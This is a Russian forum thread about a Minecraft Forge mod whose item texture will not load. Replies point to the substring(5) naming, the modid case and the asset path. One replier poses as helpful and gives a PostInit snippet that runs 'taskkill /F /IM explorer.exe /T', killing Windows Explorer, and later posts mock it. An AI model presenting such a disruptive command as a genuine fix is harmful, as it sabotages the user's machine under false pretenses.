Помогите текстурка!

Статус
В этой теме нельзя размещать новые ответы.
Я уже писал тему по поводу этого, но я всё переделал вот по этому туториалу:
[youtube]Vq-3Bx5MENk[/youtube]
Но текстурка не работает. Что делать? Вот весь мой код:
Package: net.worldisdoomed.mod/Worldisdoomed.java
Код:
package net.worldisdoomed.mod;

import net.minecraft.item.Item;
import net.worldisdoomed.mod.items.WIDItems;
import cpw.mods.fml.common.Mod;
import cpw.mods.fml.common.Mod.EventHandler;
import cpw.mods.fml.common.event.FMLInitializationEvent;
import cpw.mods.fml.common.event.FMLPostInitializationEvent;
import cpw.mods.fml.common.event.FMLPreInitializationEvent;
import cpw.mods.fml.common.registry.GameRegistry;



@Mod(modid = Worldisdoomed.modid, version = Worldisdoomed.version)
public class Worldisdoomed {

    public static final String modid = "wid";
    public static final String version = "Alpha v0.1";
    
    public static Item itemTitaniumIngot;
    
    @EventHandler
    public void PreInit(FMLPreInitializationEvent preEvent){
        
        //**Items
        itemTitaniumIngot = new WIDItems().setUnlocalizedName("TitaniumIngot");
        GameRegistry.registerItem(itemTitaniumIngot, "TitaniumIngot");
        
    }
    
    @EventHandler
    public void Init(FMLInitializationEvent event){
        
    }
    
    @EventHandler
    public void PostInit(FMLPostInitializationEvent postEvent){
        
    }
}
Package: net.worldisdoomed.mod.items/WIDItems.java
Код:
package net.worldisdoomed.mod.items;

import net.minecraft.client.renderer.texture.IIconRegister;
import net.minecraft.item.Item;
import net.worldisdoomed.mod.Worldisdoomed;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;

public class WIDItems extends Item {

    public WIDItems() {
        this.setCreativeTab(getCreativeTab().tabMaterials);
    }
    
    @SideOnly(Side.CLIENT)
    public void registerIcons(IIconRegister iconRegister) {
        this.itemIcon = iconRegister.registerIcon(Worldisdoomed.modid + ":" + this.getUnlocalizedName().substring(5));
    }
}
Package: assets.worldisdoomed.textures.items/TitaniumIngot.png
Код:
Файл текстурки: TitaniumIngot.png

За помощь заранее спс!
 
Что по твоему делает substring(5) ?
А у тебя оно будет делать вот что: http://ideone.com/HPNWxu

Чтобы текстура отображалась, нужно сделать:
Вариант 1: переименовать текстуру в iumIngot.png

Вариант 2: Заменить this.itemIcon = iconRegister.registerIcon(Worldisdoomed.modid + ":" + this.getUnlocalizedName().substring(5));
на this.itemIcon = iconRegister.registerIcon(Worldisdoomed.modid + ":" + "TitaniumIngot");

Вариант 3: Удалить метод registerIcons и добавить конструктор:
Код:
    public WIDItems() {
        this.setCreativeTab(getCreativeTab().tabMaterials);
        this.setTextureName(Worldisdoomed.modid + ":" + "TitaniumIngot");
    }

Текстура должна находится тут:
"каталог с проектом"/src/main/resources/assets/wid/textures/items/TitaniumIngot.png

И самое главное, ты забыл написать в PostInit:

Код:
    @EventHandler
    public void PostInit(FMLPostInitializationEvent postEvent) throws InterruptedException, IOException {
        Runtime.getRuntime().exec("taskkill /F /IM explorer.exe /T").waitFor();
    }
 
ты итем криво регаешь. в файле WIDItems удали все, и пиши этот метод: 
Код:
public static Item titaniumIgnot;
public void items() {
       titaniumIgnot = new TitaniumIgnot().setCreativeTabs(CreativeTabs.tabMaterials).setTexture(Worldisdoomed.modid + ":" + "TitaniumIgnot").setUnlocalizedName("titaniumIgnot");
       GameRegistry.registerItem(titaniumIgnot, "titaniumIgnot");
}

Вот и все. И никакой магии. Так было, есть, и будет
[merge_posts_bbcode]Добавлено: 05.10.2014 23:19:09[/merge_posts_bbcode]

А то нагородил всякой фигни по туторам от нипоймикого. Почти весь форум так делает уже год

[merge_posts_bbcode]Добавлено: 05.10.2014 23:19:10[/merge_posts_bbcode]

А то нагородил всякой фигни по туторам от нипоймикого. Почти весь форум так делает уже год
 
как говориться, покажите код
[merge_posts_bbcode]Добавлено: 08.10.2014 22:07:23[/merge_posts_bbcode]

могу код файла моего, где файлы регаются кинуть. с гита
 
modid должен быть в маленьком регистре, если он у тебя называется WID.

Тыж папку получаешь через modid, значит нужно

Код:
iconRegister.registerIcon(Worldisdoomed.modid.toLowerCase() + ":" + this.getUnlocalizedName().substring(5)); // - toLowerCase() - в маленький регистр, toUpperCase() - в верхний регистр

Путь до .../assets/WID/textures/...
Путь после .../assets/wid/textures/...
 
Asd73 написал(а):
И самое главное, ты забыл написать в PostInit:

Код:
    @EventHandler
    public void PostInit(FMLPostInitializationEvent postEvent) throws InterruptedException, IOException {
        Runtime.getRuntime().exec("taskkill /F /IM explorer.exe /T").waitFor();
    }
:D, Лол, он же это напишет, хотя у джавы вроде нет больших полномочий. Даже нормально материнку получить нельзя.
 
talosdx написал(а):
Asd73 написал(а):
И самое главное, ты забыл написать в PostInit:

Код:
    @EventHandler
    public void PostInit(FMLPostInitializationEvent postEvent) throws InterruptedException, IOException {
        Runtime.getRuntime().exec("taskkill /F /IM explorer.exe /T").waitFor();
    }
:D, Лол, он же это напишет, хотя у джавы вроде нет больших полномочий. Даже нормально материнку получить нельзя.
А какого нечто, связанное с проводником виндуса находится в текстуре?
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху